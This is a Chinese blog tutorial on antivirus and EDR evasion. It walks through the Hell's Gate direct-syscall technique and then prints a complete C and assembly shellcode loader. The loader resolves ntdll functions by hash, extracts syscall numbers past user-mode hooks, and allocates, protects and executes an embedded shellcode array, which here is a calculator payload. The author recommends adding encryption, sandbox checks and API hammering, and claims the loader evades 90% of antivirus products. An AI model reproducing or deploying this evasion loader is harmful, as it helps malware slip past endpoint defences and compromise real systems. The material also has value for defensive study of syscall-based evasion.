免杀笔记--->地狱之门(Hell ‘s Gate)保姆级解析

news2024/11/27 14:41:34

还记得我前面一篇文章讲到的在Ring3 对抗Hook吗??  我讲到的一种方法就是系统调用!!

那么今天就来讲一下一个很出名的直接系统调用(Syscall)-----> [!] 地狱之门(Hell 's Gate)[!] 

目录

1.Syscall

2.地狱之门的大致流程

3.代码逐步解析

4.地狱之门的优劣

5.Hell's Gate源码(稍有改动)


1.Syscall

好像在上一篇文章里面提到过一下我们的syscall,系统调用

mov r10 , rcx 
mov eax , ssn 
syscall 

当然,它的原型是下面这样的,只不过大部分的现在计算机都是用的syscall而不是通过int 2e(中断门)的形式去进入Ring 0了

mov r10 , rcx 
mov eax , ssn 
test
jne
syscall
ret
int 2e 
ret

由于这个过程并没有通过GetProcAddress,GetModuleHandle或者说你自己PEB寻址获取到的NT函数地址去进行调用NT函数,所以也就避免了被杀软或者EDR进行Hook你的NT函数而导致你会被杀!!   

    ::这就是为什么syscall能绕过EDR或者AV在Ring3的Hook!!

2.地狱之门的大致流程

  1. 首先获取到Ntdll的地址
  2. 然后通过PE去定位它的导出表
  3. 再将我们的目标函数像 NTCreateThreadEx这种函数去进行加密,再和导出表中的函数名称表进行对比
  4. 当找到之后,就通过得到的地址,依次匹配它的机器码(即便有Hook也能找到),获取到ssn
  5. 最后就是通过写汇编进行syscall直接系统调用

3.代码逐步解析

下面就是大量的PE知识和一些Windows架构的知识了!

PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock();
PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock;
if (!pCurrentPeb || !pCurrentTeb || pCurrentPeb->OSMajorVersion != 0xA)
	return 0x1;

首先TEB调用了 RtlGetThreadEnvironmentBlock()这个函数,我们跟进去!

PTEB RtlGetThreadEnvironmentBlock() {
#if _WIN64
	return (PTEB)__readgsqword(0x30);
#else
	return (PTEB)__readfsdword(0x16);
#endif
}

其中对于__readgsqword()

__readgsqword(0x30): 这是一个编译器内建函数,用于从 GS 段寄存器中读取 64 位值。在 64 位 Windows 系统中,TEB 的地址存储在 GS 段寄存器的偏移量 0x30 处。

在获取到了TEB之后,就是去获取PEB了,下面这行代码就能获取到PEB

PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock;

在拿到了PEB之后,熟悉的就知道我们要去找双向链表了,不熟悉的也没关系,我来普及一下

在PEB的0x00c(32位)偏移处,我们存在一个_PEB_LDR_TABLE 的LDR结构,

跟进去,就有一个三个双向链表的结构,都是_LIST_ENTRY的结构,这个结构里面有两个成员,分别是Flink和Blink,分别指向后一个和前一个节点的同链表,而下一个节点(除了_PEB_LDR_TABLE以外),都是_LDR_DATA_TABLE_ENTRY的结构除了第一个是EXE本身的模块映射,其他都是装载着加载了的DLL!!!

说起来有点抽象,来张图片就比较好理解了!

所以就有了我们这个代码

PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pCurrentPeb->LoaderData->InLoadOrderModuleList.Flink->Flink);

当然了,我们两个Blink获取到的第二个节点信息就是NTDLL对应的节点NTDLL默认除了EXE以外是第二个加载)  

这里也完全可以找InMemoryOrderModuleList这个链表,只不过你的两次Flink之后要进行减 0x30这样才能获取到节点信息头(源代码也是这么干的,我这里小小改了一下)

通过上面的代码,我们就获取到了Ntdll映射在内存中的VA了,接下来就是PE的知识了

PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)pModuleBase;
if (pImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
	return FALSE;
}

// Get NT headers
PIMAGE_NT_HEADERS pImageNtHeaders = (PIMAGE_NT_HEADERS)((PBYTE)pModuleBase + pImageDosHeader->e_lfanew);
if (pImageNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
	return FALSE;
}

上面的pModuleBase就是刚才获取到的Ntdll的基地址,然后就是通过这个去寻找DOS头,NT头

*ppImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)pModuleBase + pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress);

上面这个代码就是用来获取到导入表的VA,还记得我们讲过在Nt头中存在一个结构叫做IMAGE_OPTIONAL_HEADER32,里面又有一个结构Data_Directory (翻出以前的图)

其中的第0个索引就是我们的导出表,这个结构里面存在着导出表的RVA,于是通过加上我们的模块地址,就能拿到我们的导出表的VA了!!!

这时,得插入两个结构体

typedef struct _VX_TABLE_ENTRY {
	PVOID   pAddress;
	DWORD64 dwHash;
	WORD    wSystemCall;
} VX_TABLE_ENTRY, * PVX_TABLE_ENTRY;

typedef struct _VX_TABLE {
	VX_TABLE_ENTRY NtAllocateVirtualMemory;
	VX_TABLE_ENTRY NtProtectVirtualMemory;
	VX_TABLE_ENTRY NtCreateThreadEx;
	VX_TABLE_ENTRY NtWaitForSingleObject;
} VX_TABLE, * PVX_TABLE;

上面的代码中,第一个就是我们每一个Nt函数所对应的地址,名字哈希,ssn!! 

然后就一个VX_TABLE 来用集成管理我们的NT函数。

后面,就拿我们的NtAllocVirtualMemory来举例子

Table.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtAllocateVirtualMemory))
	return 0x1;

首先它通过djb2算法将NtAllocVirtualMemory进行哈希转换,得到0xf5bd373480a6b89b

然后跟进去GetVxTableEntry这个函数

PDWORD pdwAddressOfFunctions	= (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfFunctions);
PDWORD pdwAddressOfNames		= (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNames);
PWORD pwAddressOfNameOrdinales	= (PWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNameOrdinals);

跟进去,首先他是获取了导出表中的,函数名字表,函数地址表,函数名称序号表,这三个表的VA!!! 

然后就是进行机器码的匹配

PCHAR pczFunctionName = (PCHAR)((PBYTE)pModuleBase + pdwAddressOfNames[cx]);
PVOID pFunctionAddress = (PBYTE)pModuleBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];

其中这个CX是一个初始化为0的DWORD数其中pdwAddressOfNames通过cx索引,返回对应索引函数名字的RVA,和NTDLL的基地址相加之后就能获取到了对应函数名字的VA接着就是获取到对应函数地址的VA

if (djb2(pczFunctionName) == pVxTableEntry->dwHash) 

开始if判断,如果刚才获取到的地址对应的值进行哈希之后是和我们匹配的NtAllocVirtualMemory函数的哈希相同,那么我们就进入循环,否则就让cw++

	pVxTableEntry->pAddress = pFunctionAddress;

	// Quick and dirty fix in case the function has been hooked
	WORD cw = 0;
	while (TRUE) {
		// check if syscall, in this case we are too far
		if (*((PBYTE)pFunctionAddress + cw) == 0x0f && *((PBYTE)pFunctionAddress + cw + 1) == 0x05)
			return FALSE;

		// check if ret, in this case we are also probaly too far
		if (*((PBYTE)pFunctionAddress + cw) == 0xc3)
			return FALSE;

		// First opcodes should be :
		//    MOV R10, RCX
		//    MOV RCX, <syscall>
		if (*((PBYTE)pFunctionAddress + cw) == 0x4c
			&& *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b
			&& *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1
			&& *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8
			&& *((PBYTE)pFunctionAddress + 6 + cw) == 0x00
			&& *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) {
			BYTE high = *((PBYTE)pFunctionAddress + 5 + cw);
			BYTE low = *((PBYTE)pFunctionAddress + 4 + cw);
			pVxTableEntry->wSystemCall = (high << 8) | low;
			break;
		}

		cw++;

进来就是获取地址的值进行判断是否是当前是syscall或者ret,是就返回

然后如果不是的话,我们就开始判断对应的机器特征码0x4c 0x8b  0xb8 这种mov等特征码

如果判断是的话,我们就返回syscall的对应ssn


	Table.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b;
	if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtAllocateVirtualMemory))
		return 0x1;

	Table.NtCreateThreadEx.dwHash = 0x64dc7db288c5015f;
	if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtCreateThreadEx))
		return 0x1;

	Table.NtProtectVirtualMemory.dwHash = 0x858bcb1046fb6a37;
	if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtProtectVirtualMemory))
		return 0x1;

	Table.NtWaitForSingleObject.dwHash = 0xc6a2fa174e551bcb;
	if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtWaitForSingleObject))
		return 0x1;

通过上面代码,我们分别能获取到对应NT函数的SSN,并且将他们存储在对应结构wSystemcall中

然后就是进去Payload这个函数,里面放着我们自己的shellcode(这里可以做一个加解密)

PVOID lpAddress = NULL;
SIZE_T sDataSize = sizeof(shellcode);
HellsGate(pVxTable->NtAllocateVirtualMemory.wSystemCall);
status = HellDescent((HANDLE)-1, &lpAddress, 0, &sDataSize, MEM_COMMIT, PAGE_READWRITE);

 然后这段代码就是到我们的汇编了 HellGate 和 HellDescent分别汇编如下

.data
	wSystemCall DWORD 000h

.code 
	HellsGate PROC
		mov wSystemCall, 000h
		mov wSystemCall, ecx
		ret
	HellsGate ENDP

	HellDescent PROC
		mov r10, rcx
		mov eax, wSystemCall
		syscall
		ret
	HellDescent ENDP
end

通过上面,我们能看见这个汇编其实就是通过HellGate动态获取到了SSN,然后通过HellDescent进行Syscall!! 

不过比较好玩的是,对于memcpy,他是没有NT函数的,所以作者就用了这个自定义函数

PVOID VxMoveMemory(PVOID dest, const PVOID src, SIZE_T len) {
	char* d = dest;
	const char* s = src;
	if (d < s)
		while (len--)
			*d++ = *s++;
	else {
		char* lasts = s + (len - 1);
		char* lastd = d + (len - 1);
		while (len--)
			*lastd-- = *lasts--;
	}
	return dest;
}

在不调用API的情况下实现了Memcpy!!

至此,我们的整个地狱之门的源代码就结束了!!!!

4.地狱之门的优劣

地狱之门首先是能动态获取到操作系统的ssn,这一点是很好的优势,然后过程中用函数名字的哈希来代替函数名字,是一个很好的反调试,抗分析的思路(不会像我们直接getprocaddress的第二个参数这么明显),但是缺点就是调用链不完整,如果强一点的杀软用栈回溯就会立刻寄!

相比起间接系统调用,syswhisper等项目,地狱之门算是系统调用里面比较好理解和去了解直接系统调用的了(如果你能看懂我上面写的东西的话)   

当然了,我们可以换一些函数名字,加上加解密,加点沙箱,API Hammering 等啥的打乱调用链,那么对于新手来说,这个Loader就已经是一个不错的Loader了!! 绕过90%的杀软没问题

5.Hell's Gate源码(稍有改动)

原创地址am0nsec/HellsGate: Original C Implementation of the Hell's Gate VX Technique (github.com)

main.c (shellcode是计算器,便于调试)

#pragma once
#include <Windows.h>
#include "structs.h"


typedef struct _VX_TABLE_ENTRY {
	PVOID   pAddress;
	DWORD64 dwHash;
	WORD    wSystemCall;
} VX_TABLE_ENTRY, * PVX_TABLE_ENTRY;

typedef struct _VX_TABLE {
	VX_TABLE_ENTRY NtAllocateVirtualMemory;
	VX_TABLE_ENTRY NtProtectVirtualMemory;
	VX_TABLE_ENTRY NtCreateThreadEx;
	VX_TABLE_ENTRY NtWaitForSingleObject;
} VX_TABLE, * PVX_TABLE;


PTEB RtlGetThreadEnvironmentBlock();
BOOL GetImageExportDirectory(
	_In_ PVOID                     pModuleBase,
	_Out_ PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory
);
BOOL GetVxTableEntry(
	_In_ PVOID pModuleBase,
	_In_ PIMAGE_EXPORT_DIRECTORY pImageExportDirectory,
	_In_ PVX_TABLE_ENTRY pVxTableEntry
);
BOOL Payload(
	_In_ PVX_TABLE pVxTable
);
PVOID VxMoveMemory(
	_Inout_ PVOID dest,
	_In_    const PVOID src,
	_In_    SIZE_T len
);


extern VOID HellsGate(WORD wSystemCall);
extern HellDescent();

INT wmain() {
	PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock();
	PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock;
	if (!pCurrentPeb || !pCurrentTeb || pCurrentPeb->OSMajorVersion != 0xA)
		return 0x1;

	// Get NTDLL module 
	PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pCurrentPeb->LoaderData->InLoadOrderModuleList.Flink->Flink);

	// Get the EAT of NTDLL

	PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = NULL;
	if (!GetImageExportDirectory(pLdrDataEntry->DllBase, &pImageExportDirectory) || pImageExportDirectory == NULL)
		return 0x01;

	VX_TABLE Table = { 0 };

	Table.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b;
	if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtAllocateVirtualMemory))
		return 0x1;

	Table.NtCreateThreadEx.dwHash = 0x64dc7db288c5015f;
	if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtCreateThreadEx))
		return 0x1;

	Table.NtProtectVirtualMemory.dwHash = 0x858bcb1046fb6a37;
	if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtProtectVirtualMemory))
		return 0x1;

	Table.NtWaitForSingleObject.dwHash = 0xc6a2fa174e551bcb;
	if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtWaitForSingleObject))
		return 0x1;

	Payload(&Table);
	return 0x00;
}

PTEB RtlGetThreadEnvironmentBlock() {
#if _WIN64
	return (PTEB)__readgsqword(0x30);
#else
	return (PTEB)__readfsdword(0x16);
#endif
}

DWORD64 djb2(PBYTE str) {
	DWORD64 dwHash = 0x7734773477347734;
	INT c;

	while (c = *str++)
		dwHash = ((dwHash << 0x5) + dwHash) + c;

	return dwHash;
}

BOOL GetImageExportDirectory(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory) {
	
	// Get DOS header
	PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)pModuleBase;
	if (pImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
		return FALSE;
	}

	// Get NT headers
	PIMAGE_NT_HEADERS pImageNtHeaders = (PIMAGE_NT_HEADERS)((PBYTE)pModuleBase + pImageDosHeader->e_lfanew);
	if (pImageNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
		return FALSE;
	}

	// Get the EAT
	*ppImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)pModuleBase + pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress);
	return TRUE;
}

BOOL GetVxTableEntry(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, PVX_TABLE_ENTRY pVxTableEntry) {
	
	PDWORD pdwAddressOfFunctions	= (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfFunctions);
	PDWORD pdwAddressOfNames		= (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNames);
	PWORD pwAddressOfNameOrdinales	= (PWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNameOrdinals);

	for (WORD cx = 0; cx < pImageExportDirectory->NumberOfNames; cx++) {
		PCHAR pczFunctionName = (PCHAR)((PBYTE)pModuleBase + pdwAddressOfNames[cx]);
		PVOID pFunctionAddress = (PBYTE)pModuleBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];

		if (djb2(pczFunctionName) == pVxTableEntry->dwHash) {
			pVxTableEntry->pAddress = pFunctionAddress;

			// Quick and dirty fix in case the function has been hooked
			WORD cw = 0;
			while (TRUE) {
				// check if syscall, in this case we are too far
				if (*((PBYTE)pFunctionAddress + cw) == 0x0f && *((PBYTE)pFunctionAddress + cw + 1) == 0x05)
					return FALSE;

				// check if ret, in this case we are also probaly too far
				if (*((PBYTE)pFunctionAddress + cw) == 0xc3)
					return FALSE;

				// First opcodes should be :
				//    MOV R10, RCX
				//    MOV RCX, <syscall>
				if (*((PBYTE)pFunctionAddress + cw) == 0x4c
					&& *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b
					&& *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1
					&& *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8
					&& *((PBYTE)pFunctionAddress + 6 + cw) == 0x00
					&& *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) {
					BYTE high = *((PBYTE)pFunctionAddress + 5 + cw);
					BYTE low = *((PBYTE)pFunctionAddress + 4 + cw);
					pVxTableEntry->wSystemCall = (high << 8) | low;
					break;
				}

				cw++;
			};
		}
	}
	return TRUE;
}

BOOL Payload(PVX_TABLE pVxTable) {
	NTSTATUS status = 0x00000000;
	/* length: 926 bytes */
/* length: 926 bytes */
	 char shellcode[] = {
	0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
	0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
	0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
	0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
	0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
	0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
	0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
	0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
	0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
	0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
	0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
	0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
	0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
	0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
	0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
	0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
	0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
	0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
	0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
	0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
	0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
	0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
	0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
	};



	// Allocate memory for the shellcode
	PVOID lpAddress = NULL;
	SIZE_T sDataSize = sizeof(shellcode);
	HellsGate(pVxTable->NtAllocateVirtualMemory.wSystemCall);
	status = HellDescent((HANDLE)-1, &lpAddress, 0, &sDataSize, MEM_COMMIT, PAGE_READWRITE);

	// Write Memory
	VxMoveMemory(lpAddress, shellcode, sizeof(shellcode));

	// Change page permissions
	ULONG ulOldProtect = 0;
	HellsGate(pVxTable->NtProtectVirtualMemory.wSystemCall);
	status = HellDescent((HANDLE)-1, &lpAddress, &sDataSize, PAGE_EXECUTE_READ, &ulOldProtect);

	// Create thread
	HANDLE hHostThread = INVALID_HANDLE_VALUE;
	HellsGate(pVxTable->NtCreateThreadEx.wSystemCall);
	status = HellDescent(&hHostThread, 0x1FFFFF, NULL, (HANDLE)-1, (LPTHREAD_START_ROUTINE)lpAddress, NULL, FALSE, NULL, NULL, NULL, NULL);

	// Wait for 1 seconds
	LARGE_INTEGER Timeout;
	Timeout.QuadPart = -10000000;
	HellsGate(pVxTable->NtWaitForSingleObject.wSystemCall);
	status = HellDescent(hHostThread, FALSE, &Timeout);

	return TRUE;
}

PVOID VxMoveMemory(PVOID dest, const PVOID src, SIZE_T len) {
	char* d = dest;
	const char* s = src;
	if (d < s)
		while (len--)
			*d++ = *s++;
	else {
		char* lasts = s + (len - 1);
		char* lastd = d + (len - 1);
		while (len--)
			*lastd-- = *lasts--;
	}
	return dest;
}

Hell's Gate.asm

; Hell's Gate
; Dynamic system call invocation 
; 
; by smelly__vx (@RtlMateusz) and am0nsec (@am0nsec)

.data
	wSystemCall DWORD 000h

.code 
	HellsGate PROC
		mov wSystemCall, 000h
		mov wSystemCall, ecx
		ret
	HellsGate ENDP

	HellDescent PROC
		mov r10, rcx
		mov eax, wSystemCall
		syscall
		ret
	HellDescent ENDP
end

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2035083.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Python爬虫:下载4K壁纸

&#x1f381;&#x1f381;创作不易&#xff0c;关注作者不迷路&#x1f380;&#x1f380; 目录 &#x1f338;完整代码 &#x1f338;分析 &#x1f381;基本思路 &#x1f381;需要的库 &#x1f381;提取图片的链接和标题 &#x1f453;寻找Cookie和User-Agent &…

Golang 并发编程

Golang 并发编程 Goroutine 什么是协程 创建 Goroutine 主 goroutine &#xff08;main函数&#xff09;退出后&#xff0c;其它的工作 goroutine 也会自动退出 package mainimport ("fmt""time" )func myFunc() {i : 0for {ifmt.Println("func: …

【C++】深入理解类和对象(3)

励志冰檗&#xff1a;形容在清苦的生活环境中激励自己的意志。&#x1f493;&#x1f493;&#x1f493; 目录 ✨说在前面 &#x1f34b;知识点一&#xff1a;再探构造函数 &#x1f34b;知识点二&#xff1a;类型转换 &#x1f34b;知识点三&#xff1a;static成员 &…

spl注入实战thinkphp

目录 一、环境的部署 二、本地创建数据库 三、填写数据库连接文件 四、编写控制器 五、访问分析 debug报错会显示物理路径 原因是config.php文件相关配置 六、注入分析 七、进入断点调试 八、通过mysql执行语句查看结果 九、总结&#xff1a; 一、环境的部署 二、本地…

【51单片机仿真】基于51单片机设计的智能六位密码锁(匿*输入/密码修改/警示/保存/恢复/初始密码)源码仿真设计文档演示视频——文末资料下载

基于51单片机设计的智能六位密码锁 演示视频 基于51单片机设计的智能六位密码锁 功能简介 - 能够从键盘中输入密码&#xff0c;并相应地在显示器上显示"*" - 能够判断密码是否正确&#xff0c;正确则开锁&#xff0c;错误则输出相应信息 - 能够实现密码的修改 -…

日志审计系统

1.1日志审计基础性知识 什么是日志&#xff1f; 传统的日志概念 信息系统中所有系统和应用必须包含的描述其自身运行和操作的特定数据记录。 广义的日志概念 针对特定记录目的&#xff0c;通过各种探测手段采集的信息数据&#xff0c;包括运行状态、所有事件及操作&#x…

从零开始实现循环神经网络

本节我们通过使用MXnet&#xff0c;来从零开始的实现一个含有隐藏状态的循环神经网络。 前序工作 数据集预处理进行采样 实现循环神经网络 完成前序工作后&#xff0c;即可开始实现循环神经网络。本文首先构建一个具有隐状态的循环神经网络。其结构如图所示&#xff1a; 接…

力扣面试经典算法150题:最后一个单词的长度

最后一个单词的长度 今天的题目是力扣面试经典150题中的数组的简单题: 最后一个单词的长度 题目链接&#xff1a;https://leetcode.cn/problems/length-of-last-word/description/?envTypestudy-plan-v2&envIdtop-interview-150 题目描述 给定一个仅包含大小写字母和空…

Broken靶机

查看靶机的mac地址 使用kail进行扫描ip 探测靶机主机&#xff0c;端口&#xff0c;服务 nmap -sS -sS -A -p- 192.168.154.137 进行目录扫描 dirsearch -u http://192.168.154.137 拼接后没什么发现 访问靶机ip 访问readme.md 发现是十六进制的值 将内容写入到readme.md中 使…

坐牢第二十五天20240813(网络通信)

一、TCP机械臂测试 通过w(红色臂角度增大)s&#xff08;红色臂角度减小&#xff09;d&#xff08;蓝色臂角度增大&#xff09;a&#xff08;蓝色臂角度减小&#xff09;按键控制机械臂 注意&#xff1a;关闭计算机的杀毒软件&#xff0c;电脑管家&#xff0c;防火墙 1&#x…

C语言问答进阶--5、基本表达式和基本语句

赋值表达式 表达式是什么&#xff1f;表达式是由运算符和操作数组成的式子。 如下的代码 #include "iostream.h" int main() { int a1,b2,sum; cout<<(sumab)<<endl; return 0; } 那么如下的呢&#xff1f; #include "iostream.h" int mai…

智能建筑系统,实现智慧城市的可持续发展

智能建筑系统是指通过现代技术和通信技术&#xff0c;对建筑系统进行全方位、智能化的管理和控制。该系统可以通过各种传感器、安全监控系统和计算机设备对工程建筑的内外环境进行认知和控制&#xff0c;进而监控和管理建筑工程设备和信息。 智能建筑系统可以调节室温、湿度等环…

基于Hadoop的汽车大数据分析系统设计与实现【爬虫、数据预处理、MapReduce、echarts、Flask】

文章目录 有需要本项目的代码或文档以及全部资源&#xff0c;或者部署调试可以私信博主项目介绍爬虫数据概览HIve表设计Cars Database Tables1. cars_data2. annual_sales_volume3. brand_sales_volume4. city_sales_volume5. sales_volume_by_year_and_brand6. sales_distribu…

Mysql的完整性约束

主键约束&#xff1a;一个表中只有一个主键&#xff0c;通过主键找到唯一的记录。主键不能为空不能重复。 CREATE TABLE s1&#xff08;id TINYINT PRIMARY KEY UNSIGNEDINT AUTO_INCREAMENT,name VARCHAR(20) NOT NULL UNIQUE ,age TINYINT DEFAULT 18&#xff09;;…

镜像仓库认证信息加密初始化脚本

文章目录 一、场景说明二、脚本职责三、参数说明四、操作示例五、注意事项 一、场景说明 本自动化脚本旨在为提高研发、测试、运维快速部署应用环境而编写。 脚本遵循拿来即用的原则快速完成 CentOS 系统各应用环境部署工作。 统一研发、测试、生产环境的部署模式、部署结构、…

Python爬虫——爬取bilibili中的视频

爬取bilibili中的视频 本次爬取&#xff0c;还是运用的是requests方法 首先进入bilibili官网中&#xff0c;选取你想要爬取的视频&#xff0c;进入视频播放页面&#xff0c;按F12&#xff0c;将网络中的名称栏向上拉找到第一个并点击&#xff0c;可以在标头中&#xff0c;找到…

【研发日记】嵌入式处理器技能解锁(三)——TI C2000 DSP的C28x内核

文章目录 前言 背景介绍 C28x内核 浮点单元(FPU) 快速整数除法单元(FINTDIV) 三角数学单元(TMU) VCRC单元 CPU总线 指令流水线 总结 参考资料 前言 见《【研发日记】嵌入式处理器技能解锁(一)——多任务异步执行调度的三种方法》 见《【研发日记】嵌入式处理器技能解…

Linux--应用层自定义协议与序列化(例子:网络计算器)

目录 0.上篇文章 1.应用层 再谈一谈协议 网络版计算器 序列化 和 反序列化 2.重新理解 read、 write、 recv、 send 和 tcp 为什么支持全双工 3.网络计算器&#xff08;代码实现) 3.1序列化&反序列化的接口 3.2 项目逻辑 3.3 代码 3.3.1辅助库 3.3.2 基于TCP的…

非线性RCD负载:电力系统的智能管理

随着科技的不断发展&#xff0c;电力系统的规模日益扩大&#xff0c;复杂性也越来越高。在这种背景下&#xff0c;非线性RCD负载&#xff08;Resistive-Capacitive-Inductive load&#xff09;的出现&#xff0c;对电力系统的智能管理提出了新的挑战。非线性RCD负载是指由电阻、…

【学习笔记】Day 10

一、进度概述 1、《地震勘探原理》第三章 二、详情 3.1 野外工作概述 主要介绍地上与海上两种情况下的测量方法&#xff0c;这里不做详解&#xff0c;需要就看书。 其中简况分为&#xff1a;试验工作&#xff0c;生产工作过程&#xff0c;干扰波调查&#xff0c;干扰…